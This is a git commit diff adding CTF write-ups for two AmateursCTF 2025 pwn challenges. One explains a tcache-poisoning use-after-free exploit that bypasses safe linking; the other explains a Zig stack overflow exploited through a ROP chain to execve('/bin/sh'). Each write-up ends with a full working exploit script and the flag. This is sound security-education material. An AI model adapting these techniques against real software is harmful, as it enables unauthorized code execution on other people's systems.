Merge branch 'malf-amateursctf-2025'HEADmaster

* malf-amateursctf-2025:
  Writeup AmateursCTF 2025 / Easy heap
  Writeup AmateursCTF 2025 / Rewrite it in Zig
  Add link to online Java decompiler
  AmateursCTF 2025 results

3 files changed, 338 insertions, 0 deletions

diff --git a/docs/re/re_links.txt b/docs/re/re_links.txt
new file mode 100644
index 0000000..73cc224
--- /dev/null
+++ b/docs/re/re_links.txt
@@ -0,0 +1 @@
+http://www.javadecompilers.com/
diff --git a/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt
new file mode 100644
index 0000000..34ed9af
--- /dev/null
+++ b/docs/writeups/2025/AmateursCTF/pwn/Easy_heap.txt
@@ -0,0 +1,147 @@
+"I promise it is actually simple this time."
+
+
+
+This challenge consists of a single x86_64 ELF executable.  There is also a
+Dockerfile provided to allow you to setup a copy of the remote service.  I found
+this particularly useful - since this challenge involves a heap allocator
+vulnerability, the libc version in use is very important.  I actually couldn't
+get a solution working on my dev machine and stuck to working inside this
+container for the duration of the problem.
+
+
+
+RE
+--
+The program operates in an infinite loop, performing actions based on the user's
+selections from an invisible menu.  We can malloc, free, read from, and write to
+a collection of heap-based memory regions.  There is also an extra menu option
+that calls into another function to perform a "win" check - if some global
+buffer contains the string "ALL HAIL OUR LORD AND SAVIOR TEEMO", the check()
+function will graciously give us a shell on the system.
+
+None of the IO allows us to overrun any memory allocations.  All calls to malloc
+are for 0x67 bytes, and all reads and writes on the heap buffers are also for
+up to 0x67 bytes, so we cant corrupt memory that way.  Instead, this program is
+vulnerable to a Use-After-Free bug, since the free() operation fails to set any
+pointers to NULL after releasing them.
+
+If we can trick the allocator to return a pointer to the global "check" buffer,
+then use the menu to let us write arbitrary data into it, we can populate it
+with the magic string mentioned above, allowing check() to give us a shell.
+
+
+
+Tcache / Forward pointers
+-------------------------
+It is significant that every heap allocation made by the program is of the
+exact same size.  This allows us to assume that the same collection of heap
+memory "chunks" will be pulled from in order to service our malloc requests.
+The fact that the same bin is used throughout the lifecycle of the process is
+convenient because any memory corruption we perform in a freed chunk will have
+direct impact on the behavior of the allocator on our next call to malloc().
+
+The tcache table will store pointers to what is effectively a linked-list of
+freed memory chunks, available for reuse.  This forms a linked-list because it
+is metadata present at the beginning of each freed chunk that points to the next
+available chunk, if any.  The tcache is only formatted as a table so that it may
+accommodate chunks of various sizes.
+
+We can not modify the tcache directly since we don't have a pointer to it setup
+in the program.  However, due to the program use-after-free vulnerability, we
+can corrupt the forward pointers of any chunk after it becomes freed (since the
+array in main still points to it).  All we have to do is encode the address of
+some memory that we want to access/modify into a chunk's forward pointer.  Then,
+when that chunk gets reused, our forged pointer is pulled into tcache for the
+next allocation.
+
+The forward pointers are encoded in a special way, attempting to mitigate
+tampering by an attacker.  This technique is called "safe linking" and uses the
+randomness of ASLR to protect the linked-list pointers like so:
+
+    fp = (chunk_address >> 12) ^ pointer
+
+Normally, we would be unable to forge `chunk_address` due to ASLR.  However,
+this challenge allows us to read and write the chunk memory before and after
+freeing, so we can leak it.
+
+
+
+The attack
+----------
+We want to trick the allocator into returning a pointer to `checkbuf` so that we
+can modify it with the magic string, then call check() to get a shell.
+
+First, malloc() then free() a pointer.  This gets a chunk placed in the bin of
+available chunks and leaves its pointer present in the array in main().
+
+Read from this pointer to leak the encoded NULL pointer and recover the base
+address of the chunk.
+
+Write back to this pointer, replacing the forward pointer metadata with our own.
+This pointer should reference `checkbuf`.
+
+Call malloc again.  This should return the original chunk and injest its
+metadata to the tcache.
+
+Call malloc a final time.  This time it returns a pointer to `checkbuf`,
+believing it to be the next available chunk for reuse.
+
+Write to this pointer, to implant the magic string, then call check().
+
+cat flag from the shell
+
+amateursCTF{what_is_a_flag?why_am_i_even_doing_this_anymore?crazy?i_was_crazy_once...}
+
+
+
+Solution in sploit follows
+
+```
+from nsploit.rev import *
+
+elf = ELF("./chal")
+
+def menu(a, b):
+    io.readuntil(contains, b"> ")
+    io.writeline(str(a).encode())
+    io.readuntil(contains, b"> ")
+    io.writeline(str(b).encode())
+
+def malloc(x):
+    menu(0, x)
+
+def free(x):
+    menu(1, x)
+
+def read(x, data):
+    menu(2, x)
+    io.readuntil(contains, b"data> ")
+    io.write(Payload()(data, padlen(0x67))())
+
+def write(x):
+    menu(3, x)
+    io.readuntil(contains, b"data> ")
+    return io.read(0x67)
+
+def check():
+    io.readuntil(contains, b"> ")
+    io.writeline(b"67")
+
+malloc(0)
+free(0)
+
+base_ptr = btoi(write(0)[:8]) << 12
+print(hex(base_ptr))
+
+crafted_ptr = (base_ptr >> 12) ^ elf.sym.checkbuf
+read(0, itob(crafted_ptr))
+
+malloc(0) # consume old chunk
+malloc(1) # allocate forged ptr
+
+read(1, b"ALL HAIL OUR LORD AND SAVIOR TEEMO\x00")
+
+check()
+io.interact()
+```
diff --git a/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt
new file mode 100644
index 0000000..21612e7
--- /dev/null
+++ b/docs/writeups/2025/AmateursCTF/pwn/Rewrite_it_in_Zig.txt
@@ -0,0 +1,190 @@
+"Sometimes rust is just a little too safe for me."
+
+
+
+We are provided with an x86_64 ELF executable and its corresponding Zig source
+code.  There is also a dummy flag file and Dockerfile that can be used to
+construct a functioning mirror of the remote.  I never bothered with this docker
+image while testing, opting to simply debug the executable and test various
+inputs with sploit.
+
+The program is a very simple Zig file:
+```
+const std = @import("std");
+const print = std.debug.print;
+
+pub fn main() void {
+    print("you can never have too much zip pwn.\n", .{});
+
+    var backing: [0x100]u8 = undefined;
+    var buf: []u8 = &backing;
+    buf.len = 0x1000;
+    _ = std.io.getStdIn().read(buf) catch {};
+}
+```
+
+
+
+RE
+--
+The program appears to attempt to read up to 0x1000 bytes into a buffer of size
+0x100.  If my understanding of the Zig API involved is correct, the language's
+stdin.read() is still trying to do a properly bounded read, but the challenge
+author has thwarted that by making a "cast" of the backing memory area (called
+`buf`) with its size information overridden.  This should allow us to smash the
+stack by overrunning the area allocated for `backing` (the actual stack-based
+memory) when main calls stdin.read(buf).
+
+I analyzed the main() function in ghidra - here is a truncated view of what
+happens.  First, "you can never have..." is printed; then the space for
+`backing` is initialized to all 0xaa bytes.  The read at the end is shown:
+```
+    uStack_168 = 0xaaaaaaaaaaaaaaaa;
+    backing[0] = 0xaa;
+    backing[1] = 0xaa;
+    backing[2] = 0xaa;
+    backing[3] = 0xaa;
+    backing[4] = 0xaa;
+    backing[5] = 0xaa;
+    backing[6] = 0xaa;
+    backing[7] = 0xaa;
+    buf.ptr = (u8 *)0x1000;
+    getStdIn();
+    buf.len._4_4_ = (undefined4)buf.len;
+    read((int)local_18,&local_180,(size_t)((long)&buf.len + 4));  // !
+    return;
+}
+```
+
+That read() call is to an instance method on the stdin object obtained with
+`getStdIn()`.  Since I'm not at all familiar with the Zig standard library, I
+didn't originally trace the calls down to the actual read system call.  Instead,
+I tried feeding the program a large de Bruijn sequence and looking for a crash.
+When catching a crash this way, you just need to check what address RIP tried
+to jump to and search the original input for that bit pattern.  Since the input
+sequence should have no duplicate substrings, we can unambiguously determine the
+offset at which to place an attacker-controlled return address to gain
+execution.
+
+Using this method, I determined the necessary offset to be 360 bytes.  Just to
+confirm, if we feed this basic sploit payload into the program, we should get
+main to "return" into 0xdeadbeef (and crash).
+
+    io.writeline(Payload()(padlen(360), 0xdeadbeef)())
+
+I had planned at this point to construct a ROP chain to call into libc and
+obtain a shell on the remote.  However, on a quick glance of the binary we can
+see that not only is this a statically linked executable, but Zig doesn't
+appear to lean on the C runtime library at all.  So, a different path to exec()
+would need to be found.
+
+I will also point out here that the executable is also compiled as non-PIC,
+but I did not realize that at this point.  I proceeded to construct my ROP
+chain under the assumption that ASLR was randomizing the location of my
+non-.text sections.  I know, that sounds odd in hindsight, but that should
+explain how and why I was trying to load the string for "/bin/sh" from a stack
+address in the way that I was.
+
+
+
+ROP
+===
+As stated above, we have a different set of standard library functions compiled
+into the program as you might expect with libc.  There is no function for
+execve() or similar, however there are some generic syscall functions.  I
+attempt to call syscall3() in this way:
+
+    syscall3(59, binsh_ptr, 0, 0)      //execve("/bin/sh", NULL, NULL)
+
+59 is the syscall number for execve() on linux x86_64, and while the last two
+arguments aren't "supposed" to be NULL, we can set them that way without
+breaking anything.
+
+Since this isn't based on a libc, there is no "/bin/sh" string in memory that
+we can just search for and point to.  The bytes need to be loaded by our
+attack somehow.  We can trivially place them on the stack - just include the
+string directly in the response we send to read().  However, we don't know the
+location of the stack in memory and would have to leak the string's address.
+
+
+
+Loading arbitrary stack memory (unnecessary)
+============================================
+I searched for any gadget that would be useful for mov-ing the current stack
+pointer address into some other register.  This way I could implant "/bin/sh"
+on the stack payload (as described above) then grab a reference to it to use
+later in the ROP chain.  If you pair such a gadget with another one that makes
+a pop or two into unrelated registers, you can nudge the stack pointer past
+this string data and continue on executing your ROP.
+
+The only potentially useful gadgets like this involved a `mov rbp, rsp`
+instruction - the problem with all of them is that they were each part of a
+function epilogue that does `pop rbp; ret` at the end, overwriting our saved
+stack address.
+
+Some other gadgets did the same initial mov and involved an `xchg rbp, *`.
+These looked promising, but each ended up being unviable for one reason or
+another.
+
+I eventually realized what I mentioned earlier in this writeup: the file is
+non-PIC, so we have reliable runtime addresses for sections like .data and
+.bss.  It was this realization that allowed me to construct my final ROP chain.
+
+
+
+ROP (for real)
+==============
+I have a known writable location in memory that I can use - that being the start
+of the .bss section.  Since I don't mind crashing the process after getting the
+flag, my payload can freely use this space to house any data it needs.  I'll
+store the string "/bin/sh\x00" here.
+
+sploit has a feature for incorporating arbitrary memory access into ROP chains,
+but I did need to manually find a gadget for it to use.  This was found using
+r2 in sploit's gadget search:
+
+    Gadget(0x10bb81a, 'mov qword [rdx], rdi; xor eax, eax; ret')
+
+AKA: If I can get values into rdi and rdx, this gadget will write the bytes
+encoded in rdi, into the memory location pointed to by rdx.  eax is also set to
+zero, this is just a random side-effect of executing this gadget, and should be
+accounted for by the rest of the ROP chain.
+
+In my solution script, I needed to manually identify a couple other "register
+controlling" gadgets too.  You'll see those in the solution below.  The main
+job of my exploit script is fairly straightforward at this point - just produce
+a single payload with the following ROP:
+
+    - 360 padding bytes
+    - write "/bin/sh\x00" to address 0x10d8000 (.bss)
+    - setup registers to call syscall3(59, 0x10d8000, 0, 0)
+
+When the exec completes, we will have an interactive shell on the system and
+can just cat the flag file.  See my full nsploit script below.
+
+amateursCTF{i_love_zig_its_my_favorite_language_and_you_will_never_escape_the_zig_pwn_ahahaha}
+
+
+
+```
+from nsploit.rev import *
+from nsploit.tech import *
+
+elf = ELF("./chal")
+rop = ROP(elf)
+
+straddr = elf.sym.sect['.bss']
+
+elf.sym.rdi = GadHint(0x10c3470, pops=['rdi','rbp'])
+elf.sym.rsi = GadHint(0x10cec9e, pops=['rsi','rbp'])
+elf.sym.www = GadHint(0x10bb81a, writes={'rdx':'rdi'}, imms={'rax':0})
+
+payload = Payload()
+payload.pad = padlen(360)
+payload.binsh = rop.memcpy(straddr, b"/bin/sh\x00")
+payload.shell = rop.call(elf.sym['os.linux.x86_64.syscall3'], 59, straddr, 0, 0)
+
+print(payload)
+io.writeline(payload())
+io.interact()
+```